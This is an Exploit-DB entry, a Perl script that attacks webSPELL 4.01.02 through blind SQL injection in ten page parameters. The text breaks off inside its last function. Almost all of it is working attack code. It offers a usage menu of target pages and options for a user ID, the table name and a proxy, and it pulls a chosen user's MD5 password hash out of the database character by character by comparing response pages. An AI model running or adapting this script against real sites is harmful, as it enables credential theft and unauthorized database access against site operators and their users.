Exploit-DB #3400
Description: webSPELL 4.01.02 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2007-03-02
Author: DNX

Exploit:
#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[3])
{
  print "\n                           \\#'#/                        ";
  print "\n                           (-.-)                         ";
  print "\n   -------------------oOO---(_)---OOo--------------------";
  print "\n   | webSPELL <= v4.01.02 Multiple Remote SQL Injection |";
  print "\n   |                   coded by DNX                     |";
  print "\n   ------------------------------------------------------";
  print "\n[!] Solution: install security fix";
  print "\n[!] Usage: perl ws.pl [Host] [Path] [Target] <Options>";
  print "\n[!] Example: perl ws.pl 127.0.0.1 /webspell/ -0 -id 1";
  print "\n[!] Targets:";
  print "\n       -0            Bug in awards.php line 207, inject code in \$awardID";
  print "\n       -1            Bug in clanwars_details.php line 36, inject code in \$cwID";
  print "\n       -2            Bug in demos.php line 301, inject code in \$demoID";
  print "\n       -3            Bug in profile.php line 37, inject code in \$id";
  print "\n       -4            Bug in links.php line 139, inject code in \$linkcatID";
  print "\n       -5            Bug in faq.php line 37, inject code in \$faqcatID";
  print "\n       -6            Bug in faq.php line 72, inject code in \$faqID";
  print "\n       -7            Bug in articles.php line 256, inject code in \$articlesID";
  print "\n       -8            Bug in news_comments.php line 38, inject code in \$newsID";
  print "\n       -9            Bug in cash_box.php line 119, inject code in \$id";
  print "\n[!] Options:";
  print "\n       -id [no]      Valid ID for \$awardID, \$cwID, \$demoID, \$newsID, ...";
  print "\n       -uid [no]     User-ID, default is 1";
  print "\n       -t [name]     Changed the user table name, default is webs_user";
  print "\n       -p [ip:port]  Proxy support";
  print "\n";
  exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $user    = 1;
my $table   = "webs_user";
my $id      = 0;
my %options = ();
GetOptions(\%options, "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "id=i", "uid=i", "t=s", "p=s");

print "[!] Exploiting...\n";

if($options{"id"})
{
  $id = $options{"id"};
}
else
{
  print "[!] Exploit failed, missing parameter\n";
  exit;
}

if($options{"uid"})
{
  $user = $options{"uid"};
}

if($options{"t"})
{
  $table = $options{"t"};
}

syswrite(STDOUT, "[!] MD5-Hash: ", 14);

for(my $i = 1; $i <= 32; $i++)
{
  my $found = 0;
  my $h = 48;
  while(!$found && $h <= 57)
  {
    if(istrue3($host, $path, $table, $id, $user, $i, $h))
    {
      $found = 1;
      syswrite(STDOUT, chr($h), 1);
    }
    $h++;
  }
  if(!$found)
  {
    $h = 97;
    while(!$found && $h <= 122)
    {
      if(istrue3($host, $path, $table, $id, $user, $i, $h))
      {
        $found = 1;
        syswrite(STDOUT, chr($h), 1);
      }
      $h++;
    }
  }
}

print "\n[!] Exploit done\n";

sub istrue3
{
  my $host   = shift;
  my $path   = shift;
  my $table  = shift;
  my $id     = shift;
  my $uid    = shift;
  my $i      = shift;
  my $h      = shift;
  my $url    = "http://".$host.$path;
  my $regexp = "";
  
  my $ua = LWP::UserAgent->new;
  
  if($options{"0"})
  {
    $url .= "index.php?site=awards&action=details&awardID=".$id."'%20AND%20SUBSTRING((SELECT%20password%20FROM%20".$table."%20WHERE%20userID=".$uid."),".$i.",1)=CHAR(".$h.")/*";  
    $regexp = "Event: -";
  }
  if($options{"1"})
  {
    $url .= "index.php?site=clanwars_details&cwID=".$id."'%20AND%20SUBSTRING((SELECT%20password%20FROM%20".$table."%20WHERE%20userID=".$uid."),".$i.",1)=CHAR(".$h.")/*";
    $regexp = "<img src=\"images\/games\/\.gif";
  }
  if($options{"2"})
  {
    $url .= "index.php?site=demos&action=showdemo&demoID=".$id."'%20AND%20SUBSTRING((SELECT%20password%20FROM%20".$table."%20WHERE%20userID=".$uid."),".$i.",1)=CHAR(".$h.")/*";
    $regexp = "<img src=\"images\/games\/\.gif";
  }
  if($options{"3"})
  {
    $url .= "index.php?site=profile&action=buddys&id=".$id."'%20AND%20SUBSTRING((SELECT%20password%20FROM%20".$table."%20WHERE%20userID=".$uid."),".$i.",1)=CHAR(".$h.")/*";
    $regexp = "no buddys";
  }
  if($options{"4"})
  {
    $url .= "index.php?site=links&action=show&linkcatID=".$id."'%20AND%20SUBSTRING((SELECT%20password%20FROM%20".$table."%20WHERE%20userID=".$uid."),".$i.",1)=CHAR(".$h.")/*";
    $regexp = "no links available";
  }
  if($options{"5"})
  {
    $url .= "index.php?site=faq&action=faqcat&faqcatID=".$id."'%20AND%20SUBSTRING((SELECT%20password%20FROM%20".$table."%20WHERE%20userID=".$uid."),".$i.",1)=CHAR(".$h.")/*";
    $regexp = "no faq available";
  }
  if($options{"6"})
  {
    $url .= "index.php?site=faq&action=faq&faqID=".$id."'%20AND%20SUBSTRING((SELECT%20password%20FROM%20".$table."%20WHERE%20userID=".$uid."),".$i.",1)=CHAR(".$h.")/*";
    $regexp = "no faq available";
  }
  if($options{"7"})
  {
    $url .= "index.php?site=articles&action=show&articlesID=".$id."'%20AND%20SUBSTRING((SELECT%20password%20FROM%20".$table."%20WHERE%20userID=".$uid."),".$i.",1)=CHAR(".$h.")/*";
    $regexp = "no entries";
  }
  if($options{"8"})
  {
    $url .= "index.php?site=news_comments&newsID=".$id."'%20AND%20SUBSTRING((SELECT%20password%20FROM%20".$table."%20WHERE%20userID=".$uid."),".$i.",1)=CHAR(".$h.")/*";
    $regexp = "no version in selected language available";
  }
  if($options{"9"})
  {
    $url .= "index.php?site=cash_box&action=edit&id=".$id."'%20AND%20SUBSTRING((SELECT%20password%20FROM%20".$table."%20WHERE%20userID=".$uid."),".$i.",1)=CHAR(".$h.")/*";
    $regexp = "<textarea name=\"info\" cols=\"50\" rows=\"7\"><\/textarea>";
  }
  
  if($options{"p"})
  {
    $ua->proxy('http', "http://".$options{"p"});
  }
  
  my $response = $ua->get($url);
  my $content = $response->content;
  
  if($content !~ /$regexp/)
  {
    return 1;
  }